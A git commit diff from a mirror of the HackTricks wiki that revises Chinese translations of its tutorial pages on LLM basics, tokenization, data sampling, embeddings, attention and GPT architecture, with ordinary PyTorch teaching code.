mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-llm-architecture/0.-basic-llm-concepts.md', 'src/
This commit is contained in:
parent
57ba37eab2
commit
5f70ad7d74
@ -1,6 +1,6 @@
|
||||
# 0. 基本 LLM 概念
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 预训练
|
||||
|
||||
@ -10,13 +10,13 @@
|
||||
|
||||
通常,LLM 的特征是用于训练的配置。以下是训练 LLM 时的常见组件:
|
||||
|
||||
- **参数**:参数是神经网络中的**可学习权重和偏差**。这些是训练过程调整的数字,以最小化损失函数并提高模型在任务上的性能。LLM 通常使用数百万个参数。
|
||||
- **参数**:参数是神经网络中的**可学习权重和偏差**。这些是训练过程调整以最小化损失函数并提高模型在任务上表现的数字。LLM 通常使用数百万个参数。
|
||||
- **上下文长度**:这是用于预训练 LLM 的每个句子的最大长度。
|
||||
- **嵌入维度**:用于表示每个标记或单词的向量大小。LLM 通常使用数十亿个维度。
|
||||
- **嵌入维度**:用于表示每个标记或单词的向量大小。LLM 通常使用数十亿的维度。
|
||||
- **隐藏维度**:神经网络中隐藏层的大小。
|
||||
- **层数(深度)**:模型的层数。LLM 通常使用数十层。
|
||||
- **注意力头数**:在变换器模型中,这是每层中使用的独立注意力机制的数量。LLM 通常使用数十个头。
|
||||
- **丢弃率**:丢弃率类似于在训练过程中移除的数据百分比(概率变为 0),用于**防止过拟合**。LLM 通常使用 0-20% 之间的值。
|
||||
- **丢弃率**:丢弃率是指在训练过程中移除的数据百分比(概率变为 0),用于**防止过拟合**。LLM 通常使用 0-20% 之间的丢弃率。
|
||||
|
||||
GPT-2 模型的配置:
|
||||
```json
|
||||
@ -43,13 +43,13 @@ GPT_CONFIG_124M = {
|
||||
|
||||
### Tensors as Data Containers
|
||||
|
||||
从计算的角度来看,张量充当多维数据的容器,其中每个维度可以表示数据的不同特征或方面。这使得张量非常适合处理机器学习任务中的复杂数据集。
|
||||
从计算的角度来看,张量充当多维数据的容器,每个维度可以表示数据的不同特征或方面。这使得张量非常适合处理机器学习任务中的复杂数据集。
|
||||
|
||||
### PyTorch Tensors vs. NumPy Arrays
|
||||
|
||||
虽然 PyTorch 张量在存储和操作数值数据的能力上与 NumPy 数组相似,但它们提供了深度学习所需的额外功能:
|
||||
|
||||
- **Automatic Differentiation**: PyTorch 张量支持自动计算梯度(autograd),简化了训练神经网络所需的导数计算过程。
|
||||
- **Automatic Differentiation**: PyTorch 张量支持自动计算梯度(autograd),简化了计算训练神经网络所需的导数的过程。
|
||||
- **GPU Acceleration**: PyTorch 中的张量可以移动到 GPU 上进行计算,显著加快大规模计算的速度。
|
||||
|
||||
### Creating Tensors in PyTorch
|
||||
@ -72,7 +72,7 @@ tensor2d = torch.tensor([[1, 2],
|
||||
tensor3d = torch.tensor([[[1, 2], [3, 4]],
|
||||
[[5, 6], [7, 8]]])
|
||||
```
|
||||
### 张量数据类型
|
||||
### Tensor 数据类型
|
||||
|
||||
PyTorch 张量可以存储各种类型的数据,例如整数和浮点数。
|
||||
|
||||
@ -201,11 +201,11 @@ Gradient w.r.t b: tensor([-0.0817])
|
||||
|
||||
### **1. 扩展到多层网络**
|
||||
|
||||
在具有多个层的大型神经网络中,由于参数和操作数量的增加,计算梯度的过程变得更加复杂。然而,基本原理保持不变:
|
||||
在具有多个层的较大神经网络中,由于参数和操作数量的增加,计算梯度的过程变得更加复杂。然而,基本原理保持不变:
|
||||
|
||||
- **前向传播:** 通过每一层传递输入来计算网络的输出。
|
||||
- **计算损失:** 使用网络的输出和目标标签评估损失函数。
|
||||
- **反向传播(Backpropagation):** 通过从输出层递归应用链式法则到输入层,计算损失相对于网络中每个参数的梯度。
|
||||
- **反向传播(Backpropagation):** 通过从输出层递归应用链式法则,计算损失相对于网络中每个参数的梯度,直到输入层。
|
||||
|
||||
### **2. 反向传播算法**
|
||||
|
||||
@ -286,4 +286,4 @@ print(f"Gradient of {name}: {param.grad}")
|
||||
- **准确性:** 提供精确的导数,达到机器精度。
|
||||
- **易用性:** 消除了手动计算导数的需要。
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,28 +1,28 @@
|
||||
# 1. Tokenizing
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Tokenizing
|
||||
|
||||
**Tokenizing** 是将数据(如文本)分解为称为 _tokens_ 的较小、可管理的部分的过程。每个 token 然后被分配一个唯一的数字标识符 (ID)。这是为机器学习模型处理文本做准备的基本步骤,特别是在自然语言处理 (NLP) 中。
|
||||
**Tokenizing** 是将数据(如文本)分解为称为 _tokens_ 的更小、更易管理的部分的过程。每个 token 都会被分配一个唯一的数字标识符(ID)。这是为机器学习模型处理文本做准备的基本步骤,尤其是在自然语言处理(NLP)中。
|
||||
|
||||
> [!TIP]
|
||||
> 这个初始阶段的目标非常简单:**以某种有意义的方式将输入划分为 tokens (ids)**。
|
||||
> 这个初始阶段的目标非常简单:**以某种合理的方式将输入划分为 tokens(ids)**。
|
||||
|
||||
### **How Tokenizing Works**
|
||||
|
||||
1. **Splitting the Text:**
|
||||
- **Basic Tokenizer:** 一个简单的 tokenizer 可能将文本拆分为单个单词和标点符号,去除空格。
|
||||
- **Basic Tokenizer:** 一个简单的 tokenizer 可能会将文本拆分为单个单词和标点符号,去除空格。
|
||||
- _Example:_\
|
||||
文本: `"Hello, world!"`\
|
||||
Tokens: `["Hello", ",", "world", "!"]`
|
||||
2. **Creating a Vocabulary:**
|
||||
- 为了将 tokens 转换为数字 ID,创建一个 **vocabulary**。这个 vocabulary 列出了所有唯一的 tokens(单词和符号),并为每个分配一个特定的 ID。
|
||||
- 为了将 tokens 转换为数字 ID,创建一个 **vocabulary**。这个 vocabulary 列出了所有唯一的 tokens(单词和符号),并为每个 token 分配一个特定的 ID。
|
||||
- **Special Tokens:** 这些是添加到 vocabulary 中以处理各种场景的特殊符号:
|
||||
- `[BOS]` (Beginning of Sequence): 表示文本的开始。
|
||||
- `[EOS]` (End of Sequence): 表示文本的结束。
|
||||
- `[PAD]` (Padding): 用于使批次中的所有序列具有相同的长度。
|
||||
- `[UNK]` (Unknown): 表示不在 vocabulary 中的 tokens。
|
||||
- `[BOS]`(开始序列):表示文本的开始。
|
||||
- `[EOS]`(结束序列):表示文本的结束。
|
||||
- `[PAD]`(填充):用于使批次中的所有序列具有相同的长度。
|
||||
- `[UNK]`(未知):表示不在 vocabulary 中的 tokens。
|
||||
- _Example:_\
|
||||
如果 `"Hello"` 被分配 ID `64`,`","` 是 `455`,`"world"` 是 `78`,`"!"` 是 `467`,那么:\
|
||||
`"Hello, world!"` → `[64, 455, 78, 467]`
|
||||
@ -33,7 +33,7 @@ _(假设 `[UNK]` 的 ID 是 `987`)_
|
||||
|
||||
### **Advanced Tokenizing Methods**
|
||||
|
||||
虽然基本的 tokenizer 对于简单文本效果很好,但它在处理大型 vocabulary 和新词或稀有词时存在局限性。高级 tokenizing 方法通过将文本分解为更小的子单元或优化 tokenization 过程来解决这些问题。
|
||||
虽然基本的 tokenizer 对简单文本效果很好,但在处理大型 vocabulary 和新词或稀有词时存在局限性。高级 tokenizing 方法通过将文本分解为更小的子单元或优化 tokenization 过程来解决这些问题。
|
||||
|
||||
1. **Byte Pair Encoding (BPE):**
|
||||
- **Purpose:** 通过将稀有或未知单词分解为频繁出现的字节对,减少 vocabulary 的大小并处理稀有或未知单词。
|
||||
@ -45,7 +45,7 @@ _(假设 `[UNK]` 的 ID 是 `987`)_
|
||||
- 消除了对 `[UNK]` token 的需求,因为所有单词都可以通过组合现有的子词 tokens 来表示。
|
||||
- 更高效和灵活的 vocabulary。
|
||||
- _Example:_\
|
||||
`"playing"` 可能被 tokenized 为 `["play", "ing"]` 如果 `"play"` 和 `"ing"` 是频繁的子词。
|
||||
`"playing"` 可能被 tokenized 为 `["play", "ing"]`,如果 `"play"` 和 `"ing"` 是频繁的子词。
|
||||
2. **WordPiece:**
|
||||
- **Used By:** 像 BERT 这样的模型。
|
||||
- **Purpose:** 类似于 BPE,它将单词分解为子词单元,以处理未知单词并减少 vocabulary 大小。
|
||||
@ -67,7 +67,7 @@ _(假设 `[UNK]` 的 ID 是 `987`)_
|
||||
- 最终确定一个 vocabulary,其中每个单词由最可能的子词单元表示。
|
||||
- **Benefits:**
|
||||
- 灵活且可以更自然地建模语言。
|
||||
- 通常导致更高效和紧凑的 tokenizations。
|
||||
- 通常会导致更高效和紧凑的 tokenizations。
|
||||
- _Example:_\
|
||||
`"internationalization"` 可能被 tokenized 为更小的、有意义的子词,如 `["international", "ization"]`。
|
||||
|
||||
@ -97,4 +97,4 @@ print(token_ids[:50])
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,13 +1,13 @@
|
||||
# 2. 数据采样
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **数据采样**
|
||||
|
||||
**数据采样**是为训练大型语言模型(LLMs)如GPT准备数据的关键过程。它涉及将文本数据组织成输入和目标序列,模型利用这些序列学习如何根据前面的单词预测下一个单词(或标记)。适当的数据采样确保模型有效捕捉语言模式和依赖关系。
|
||||
|
||||
> [!TIP]
|
||||
> 这个第二阶段的目标非常简单:**对输入数据进行采样,并为训练阶段准备,通常通过将数据集分成特定长度的句子,并生成预期的响应。**
|
||||
> 第二阶段的目标非常简单:**对输入数据进行采样,并为训练阶段准备,通常通过将数据集分成特定长度的句子,并生成预期的响应。**
|
||||
|
||||
### **为什么数据采样很重要**
|
||||
|
||||
@ -28,9 +28,9 @@
|
||||
```arduino
|
||||
"Lorem ipsum dolor sit amet, consectetur adipiscing elit."
|
||||
```
|
||||
**Tokenization**
|
||||
**分词**
|
||||
|
||||
假设我们使用一个**基本的分词器**,将文本分割成单词和标点符号:
|
||||
假设我们使用一个**基本分词器**,将文本拆分为单词和标点符号:
|
||||
```vbnet
|
||||
Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing", "elit."]
|
||||
```
|
||||
@ -235,4 +235,4 @@ tensor([[ 367, 2885, 1464, 1807],
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# 3. Token Embeddings
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Token Embeddings
|
||||
|
||||
@ -8,7 +8,7 @@
|
||||
|
||||
> [!TIP]
|
||||
> 这个第三阶段的目标非常简单:**为词汇表中的每个先前标记分配一个所需维度的向量以训练模型。** 词汇表中的每个单词将在 X 维空间中有一个点。\
|
||||
> 请注意,最初每个单词在空间中的位置是“随机”初始化的,这些位置是可训练的参数(将在训练过程中得到改善)。
|
||||
> 请注意,最初每个单词在空间中的位置只是“随机”初始化的,这些位置是可训练的参数(将在训练过程中得到改善)。
|
||||
>
|
||||
> 此外,在 token embedding 过程中 **创建了另一层嵌入**,它表示(在这种情况下)**单词在训练句子中的绝对位置**。这样,句子中不同位置的单词将具有不同的表示(含义)。
|
||||
|
||||
@ -26,7 +26,7 @@
|
||||
|
||||
### **Initializing Token Embeddings**
|
||||
|
||||
在训练开始时,token embeddings 通常用小的随机值初始化。这些初始值在训练过程中进行调整(微调),以更好地表示标记的含义,基于训练数据。
|
||||
在训练开始时,token embeddings 通常用小的随机值初始化。这些初始值在训练过程中进行调整(微调),以更好地表示基于训练数据的标记含义。
|
||||
|
||||
**PyTorch Example:**
|
||||
```python
|
||||
@ -130,7 +130,7 @@ cssCopy codeBatch
|
||||
### **为什么需要位置嵌入:**
|
||||
|
||||
- **令牌顺序很重要:** 在句子中,意义往往依赖于单词的顺序。例如,“猫坐在垫子上”与“垫子坐在猫上”。
|
||||
- **嵌入限制:** 没有位置信息,模型将令牌视为“词袋”,忽略它们的顺序。
|
||||
- **嵌入限制:** 如果没有位置信息,模型将令牌视为“词袋”,忽略它们的顺序。
|
||||
|
||||
### **位置嵌入的类型:**
|
||||
|
||||
@ -200,9 +200,9 @@ pos_embeddings = pos_embedding_layer(torch.arange(max_length))
|
||||
input_embeddings = token_embeddings + pos_embeddings
|
||||
print(input_embeddings.shape) # torch.Size([8, 4, 256])
|
||||
```
|
||||
## 参考
|
||||
## 参考文献
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,14 +1,14 @@
|
||||
# 4. 注意机制
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 神经网络中的注意机制和自注意力
|
||||
|
||||
注意机制允许神经网络在生成输出的每个部分时**专注于输入的特定部分**。它们为不同的输入分配不同的权重,帮助模型决定哪些输入与当前任务最相关。这在机器翻译等任务中至关重要,因为理解整个句子的上下文对于准确翻译是必要的。
|
||||
注意机制允许神经网络在生成输出的每个部分时**关注输入的特定部分**。它们为不同的输入分配不同的权重,帮助模型决定哪些输入与当前任务最相关。这在机器翻译等任务中至关重要,因为理解整个句子的上下文对于准确翻译是必要的。
|
||||
|
||||
> [!TIP]
|
||||
> 这一阶段的目标非常简单:**应用一些注意机制**。这些将是许多**重复的层**,将**捕捉词汇中一个词与当前用于训练LLM的句子中其邻居的关系**。\
|
||||
> 为此使用了很多层,因此会有很多可训练的参数来捕捉这些信息。
|
||||
> 这个第四阶段的目标非常简单:**应用一些注意机制**。这些将是许多**重复的层**,将**捕捉词汇中一个词与当前用于训练LLM的句子中其邻居的关系**。\
|
||||
> 为此使用了很多层,因此将有很多可训练的参数来捕捉这些信息。
|
||||
|
||||
### 理解注意机制
|
||||
|
||||
@ -16,7 +16,7 @@
|
||||
|
||||
#### 示例:机器翻译
|
||||
|
||||
考虑将德语句子 "Kannst du mir helfen diesen Satz zu übersetzen" 翻译成英语。逐字翻译不会产生语法正确的英语句子,因为不同语言之间的语法结构存在差异。注意机制使模型在生成输出句子的每个单词时能够专注于输入句子的相关部分,从而实现更准确和连贯的翻译。
|
||||
考虑将德语句子 "Kannst du mir helfen diesen Satz zu übersetzen" 翻译成英语。逐字翻译不会产生语法正确的英语句子,因为不同语言之间的语法结构存在差异。注意机制使模型在生成输出句子的每个单词时能够关注输入句子的相关部分,从而导致更准确和连贯的翻译。
|
||||
|
||||
### 自注意力介绍
|
||||
|
||||
@ -36,7 +36,7 @@
|
||||
- **shiny**: `[0.53, 0.34, 0.98]`
|
||||
- **sun**: `[0.29, 0.54, 0.93]`
|
||||
|
||||
我们的目标是使用自注意力计算**"shiny"**的**上下文向量**。
|
||||
我们的目标是使用自注意力计算单词 **"shiny"** 的**上下文向量**。
|
||||
|
||||
#### 步骤1:计算注意分数
|
||||
|
||||
@ -107,7 +107,7 @@
|
||||
|
||||
`context vector=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]`
|
||||
|
||||
**这个上下文向量表示了“shiny”的丰富嵌入,结合了句子中所有单词的信息。**
|
||||
**这个上下文向量表示了单词 "shiny" 的丰富嵌入,结合了句子中所有单词的信息。**
|
||||
|
||||
### 过程总结
|
||||
|
||||
@ -159,7 +159,7 @@ values = torch.matmul(inputs, W_value)
|
||||
|
||||
**计算注意力分数**
|
||||
|
||||
与之前的例子类似,但这次我们使用的是令牌的键矩阵(已经使用维度计算得出),而不是令牌维度的值。因此,对于每个查询 `qi` 和键 `kj`:
|
||||
与之前的示例类似,但这次我们使用的是令牌的键矩阵(已经使用维度计算得出),而不是令牌维度的值。因此,对于每个查询 `qi` 和键 `kj`:
|
||||
|
||||
<figure><img src="../../images/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -172,13 +172,13 @@ values = torch.matmul(inputs, W_value)
|
||||
> [!TIP]
|
||||
> 分数除以维度的平方根是因为点积可能变得非常大,这有助于调节它们。
|
||||
|
||||
**应用Softmax以获得注意力权重:** 与最初的例子一样,规范化所有值,使它们的总和为1。
|
||||
**应用Softmax以获得注意力权重:** 与最初的示例一样,规范化所有值,使它们的总和为1。
|
||||
|
||||
<figure><img src="../../images/image (14).png" alt="" width="295"><figcaption></figcaption></figure>
|
||||
|
||||
#### 第3步:计算上下文向量
|
||||
|
||||
与最初的例子一样,只需将所有值矩阵相加,每个值乘以其注意力权重:
|
||||
与最初的示例一样,只需将所有值矩阵相加,每个值乘以其注意力权重:
|
||||
|
||||
<figure><img src="../../images/image (15).png" alt="" width="328"><figcaption></figcaption></figure>
|
||||
|
||||
@ -224,15 +224,15 @@ sa_v2 = SelfAttention_v2(d_in, d_out)
|
||||
print(sa_v2(inputs))
|
||||
```
|
||||
> [!TIP]
|
||||
> 注意,`nn.Linear` 用于将所有权重标记为可训练参数,而不是用随机值初始化矩阵。
|
||||
> 注意,`nn.Linear` 被用来将所有权重标记为可训练参数,而不是用随机值初始化矩阵。
|
||||
|
||||
## 因果注意力:隐藏未来词汇
|
||||
|
||||
对于 LLM,我们希望模型仅考虑当前位置信息之前出现的标记,以便 **预测下一个标记**。**因果注意力**,也称为 **掩蔽注意力**,通过修改注意力机制来防止访问未来标记,从而实现这一点。
|
||||
对于 LLM,我们希望模型只考虑当前位置信息之前出现的标记,以便**预测下一个标记**。**因果注意力**,也称为**掩蔽注意力**,通过修改注意力机制来防止访问未来标记,从而实现这一点。
|
||||
|
||||
### 应用因果注意力掩码
|
||||
|
||||
为了实现因果注意力,我们在 **softmax 操作之前** 对注意力分数应用掩码,以便剩余的分数仍然相加为 1。该掩码将未来标记的注意力分数设置为负无穷,确保在 softmax 之后,它们的注意力权重为零。
|
||||
为了实现因果注意力,我们在**softmax 操作之前**对注意力分数应用掩码,以便剩余的分数仍然相加为 1。该掩码将未来标记的注意力分数设置为负无穷,确保在 softmax 之后,它们的注意力权重为零。
|
||||
|
||||
**步骤**
|
||||
|
||||
@ -252,7 +252,7 @@ attention_weights = torch.softmax(masked_scores, dim=-1)
|
||||
|
||||
### 使用 Dropout 掩蔽额外的注意力权重
|
||||
|
||||
为了 **防止过拟合**,我们可以在 softmax 操作后对注意力权重应用 **dropout**。Dropout **在训练期间随机将一些注意力权重置为零**。
|
||||
为了**防止过拟合**,我们可以在 softmax 操作后对注意力权重应用**dropout**。Dropout **在训练期间随机将一些注意力权重置为零**。
|
||||
```python
|
||||
dropout = nn.Dropout(p=0.5)
|
||||
attention_weights = dropout(attention_weights)
|
||||
@ -329,7 +329,7 @@ print("context_vecs.shape:", context_vecs.shape)
|
||||
|
||||
### 代码示例
|
||||
|
||||
可以重用之前的代码,只需添加一个包装器来多次启动它,但这是一个更优化的版本,来自 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb),它同时处理所有头(减少了昂贵的 for 循环数量)。正如您在代码中看到的,每个令牌的维度根据头的数量被划分为不同的维度。这样,如果令牌有 8 个维度,而我们想使用 3 个头,维度将被划分为 2 个 4 维的数组,每个头将使用其中一个:
|
||||
可以重用之前的代码,只需添加一个包装器来多次启动它,但这是一个更优化的版本,来自 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb),它同时处理所有头(减少了昂贵的 for 循环数量)。正如您在代码中看到的,每个标记的维度根据头的数量被划分为不同的维度。这样,如果标记有 8 个维度,而我们想使用 3 个头,维度将被划分为 2 个 4 维的数组,每个头将使用其中一个:
|
||||
```python
|
||||
class MultiHeadAttention(nn.Module):
|
||||
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
|
||||
@ -418,4 +418,4 @@ print("context_vecs.shape:", context_vecs.shape)
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,13 +1,13 @@
|
||||
# 5. LLM Architecture
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## LLM Architecture
|
||||
|
||||
> [!TIP]
|
||||
> 第五阶段的目标非常简单:**开发完整LLM的架构**。将所有内容整合在一起,应用所有层并创建所有功能以生成文本或将文本转换为ID及其反向操作。
|
||||
> 第五阶段的目标非常简单:**开发完整LLM的架构**。将所有内容整合在一起,应用所有层并创建所有功能以生成文本或将文本转换为ID并反向转换。
|
||||
>
|
||||
> 该架构将用于训练和预测文本,训练后进行预测。
|
||||
> 该架构将用于训练和预测文本。
|
||||
|
||||
LLM架构示例来自 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
|
||||
|
||||
@ -23,7 +23,7 @@ LLM架构示例来自 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04
|
||||
- **前馈层**:负责处理来自注意力层的信息并对下一个标记进行预测。
|
||||
- **丢弃层**:这些层通过在训练期间随机丢弃单元来防止过拟合。
|
||||
4. **最终输出层**:模型输出一个**4x50,257维的张量**,其中**50,257**表示词汇表的大小。该张量中的每一行对应于模型用于预测序列中下一个单词的向量。
|
||||
5. **目标**:目标是将这些嵌入转换回文本。具体来说,输出的最后一行用于生成下一个单词,在该图中表示为“前进”。
|
||||
5. **目标**:目标是将这些嵌入转换回文本。具体来说,输出的最后一行用于生成下一个单词,在该图中表示为“前进”。
|
||||
|
||||
### 代码表示
|
||||
```python
|
||||
@ -212,14 +212,14 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) *
|
||||
```
|
||||
#### **目的和功能**
|
||||
|
||||
- **GELU (高斯误差线性单元):** 一种激活函数,向模型引入非线性。
|
||||
- **平滑激活:** 与ReLU不同,ReLU将负输入归零,GELU平滑地将输入映射到输出,允许负输入有小的非零值。
|
||||
- **GELU (高斯误差线性单元):** 一种激活函数,为模型引入非线性。
|
||||
- **平滑激活:** 与ReLU不同,ReLU将负输入归零,而GELU平滑地将输入映射到输出,允许负输入有小的非零值。
|
||||
- **数学定义:**
|
||||
|
||||
<figure><img src="../../images/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> 在FeedForward层内部的线性层之后使用此函数的目的是将线性数据转换为非线性,以便模型能够学习复杂的非线性关系。
|
||||
> 在FeedForward层内的线性层之后使用此函数的目的是将线性数据转换为非线性,以便模型能够学习复杂的非线性关系。
|
||||
|
||||
### **前馈神经网络**
|
||||
|
||||
@ -260,20 +260,20 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
#### **目的和功能**
|
||||
|
||||
- **多头自注意力:** 允许模型在编码一个令牌时关注输入序列中的不同位置。
|
||||
- **多头自注意力:** 允许模型在编码一个标记时关注输入序列中的不同位置。
|
||||
- **关键组件:**
|
||||
- **查询、键、值:** 输入的线性投影,用于计算注意力分数。
|
||||
- **头:** 多个并行运行的注意力机制(`num_heads`),每个具有减少的维度(`head_dim`)。
|
||||
- **注意力分数:** 作为查询和键的点积计算,经过缩放和掩蔽。
|
||||
- **掩蔽:** 应用因果掩蔽,以防止模型关注未来的令牌(对于像 GPT 这样的自回归模型很重要)。
|
||||
- **掩蔽:** 应用因果掩蔽,以防止模型关注未来的标记(对于像 GPT 这样的自回归模型很重要)。
|
||||
- **注意力权重:** 掩蔽和缩放后的注意力分数的 Softmax。
|
||||
- **上下文向量:** 根据注意力权重的值的加权和。
|
||||
- **输出投影:** 线性层以组合所有头的输出。
|
||||
|
||||
> [!TIP]
|
||||
> 该网络的目标是找到同一上下文中令牌之间的关系。此外,令牌被分配到不同的头中,以防止过拟合,尽管每个头找到的最终关系在该网络的末尾被组合在一起。
|
||||
> 该网络的目标是找到同一上下文中标记之间的关系。此外,标记被分配到不同的头中,以防止过拟合,尽管每个头找到的最终关系在该网络的末尾被组合在一起。
|
||||
>
|
||||
> 此外,在训练期间应用 **因果掩蔽**,以便在查看特定令牌的关系时不考虑后来的令牌,并且还应用了一些 **dropout** 以 **防止过拟合**。
|
||||
> 此外,在训练期间应用 **因果掩蔽**,以便在查看特定标记的关系时不考虑后续标记,并且还应用了一些 **dropout** 以 **防止过拟合**。
|
||||
|
||||
### **层** 归一化
|
||||
```python
|
||||
@ -293,10 +293,10 @@ return self.scale * norm_x + self.shift
|
||||
```
|
||||
#### **目的和功能**
|
||||
|
||||
- **层归一化:** 一种用于规范化批次中每个单独示例的特征(嵌入维度)输入的技术。
|
||||
- **层归一化:** 一种用于对每个批次中单个示例的特征(嵌入维度)进行归一化的技术。
|
||||
- **组件:**
|
||||
- **`eps`:** 一个小常数(`1e-5`),在归一化过程中添加到方差中以防止除以零。
|
||||
- **`scale` 和 `shift`:** 可学习参数(`nn.Parameter`),允许模型对归一化输出进行缩放和偏移。它们分别初始化为1和0。
|
||||
- **`scale` 和 `shift`:** 可学习的参数(`nn.Parameter`),允许模型对归一化输出进行缩放和偏移。它们分别初始化为1和0。
|
||||
- **归一化过程:**
|
||||
- **计算均值(`mean`):** 计算输入 `x` 在嵌入维度(`dim=-1`)上的均值,同时保持维度以便广播(`keepdim=True`)。
|
||||
- **计算方差(`var`):** 计算 `x` 在嵌入维度上的方差,同样保持维度。`unbiased=False` 参数确保方差使用有偏估计量计算(除以 `N` 而不是 `N-1`),这在对特征而非样本进行归一化时是合适的。
|
||||
@ -306,7 +306,7 @@ return self.scale * norm_x + self.shift
|
||||
> [!TIP]
|
||||
> 目标是确保同一标记的所有维度的均值为0,方差为1。这样做的目的是**通过减少内部协变量偏移来稳定深度神经网络的训练**,内部协变量偏移是指由于训练过程中参数更新而导致的网络激活分布的变化。
|
||||
|
||||
### **变换器块**
|
||||
### **Transformer 块**
|
||||
|
||||
_已添加形状作为注释,以更好地理解矩阵的形状:_
|
||||
```python
|
||||
@ -439,20 +439,20 @@ return logits # Output shape: (batch_size, seq_len, vocab_size)
|
||||
- **令牌嵌入 (`tok_emb`):** 将令牌索引转换为嵌入。提醒一下,这些是赋予词汇中每个令牌每个维度的权重。
|
||||
- **位置嵌入 (`pos_emb`):** 向嵌入添加位置信息,以捕捉令牌的顺序。提醒一下,这些是根据令牌在文本中的位置赋予的权重。
|
||||
- **丢弃 (`drop_emb`):** 应用于嵌入以进行正则化。
|
||||
- **变换器块 (`trf_blocks`):** 堆叠 `n_layers` 个变换器块以处理嵌入。
|
||||
- **变换器块 (`trf_blocks`):** 一组 `n_layers` 变换器块,用于处理嵌入。
|
||||
- **最终归一化 (`final_norm`):** 输出层之前的层归一化。
|
||||
- **输出层 (`out_head`):** 将最终隐藏状态投影到词汇大小,以生成预测的 logits。
|
||||
|
||||
> [!TIP]
|
||||
> 该类的目标是使用所有其他提到的网络来**预测序列中的下一个令牌**,这对于文本生成等任务至关重要。
|
||||
>
|
||||
> 注意它将**使用尽可能多的变换器块**,并且每个变换器块使用一个多头注意力网络、一个前馈网络和几个归一化。因此,如果使用12个变换器块,则将其乘以12。
|
||||
> 注意它将**使用尽可能多的变换器块**,并且每个变换器块使用一个多头注意力网络,一个前馈网络和几个归一化。因此,如果使用了 12 个变换器块,则将其乘以 12。
|
||||
>
|
||||
> 此外,在**输出**之前添加了一个**归一化**层,并在最后应用一个最终线性层以获得具有适当维度的结果。注意每个最终向量的大小与使用的词汇相同。这是因为它试图为词汇中的每个可能令牌获取一个概率。
|
||||
|
||||
## 训练的参数数量
|
||||
|
||||
定义了GPT结构后,可以找出要训练的参数数量:
|
||||
定义了 GPT 结构后,可以找出要训练的参数数量:
|
||||
```python
|
||||
GPT_CONFIG_124M = {
|
||||
"vocab_size": 50257, # Vocabulary size
|
||||
@ -612,7 +612,7 @@ total_params = 163,009,536
|
||||
|
||||
拥有一个像之前那样预测下一个标记的模型,只需从输出中获取最后一个标记的值(因为它们将是预测标记的值),这将是**词汇表中每个条目的值**,然后使用`softmax`函数将维度归一化为总和为1的概率,然后获取最大条目的索引,这将是词汇表中单词的索引。
|
||||
|
||||
来自 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
|
||||
代码来自 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
|
||||
```python
|
||||
def generate_text_simple(model, idx, max_new_tokens, context_size):
|
||||
# idx is (batch, n_tokens) array of indices in the current context
|
||||
@ -668,4 +668,4 @@ print("Output length:", len(out[0]))
|
||||
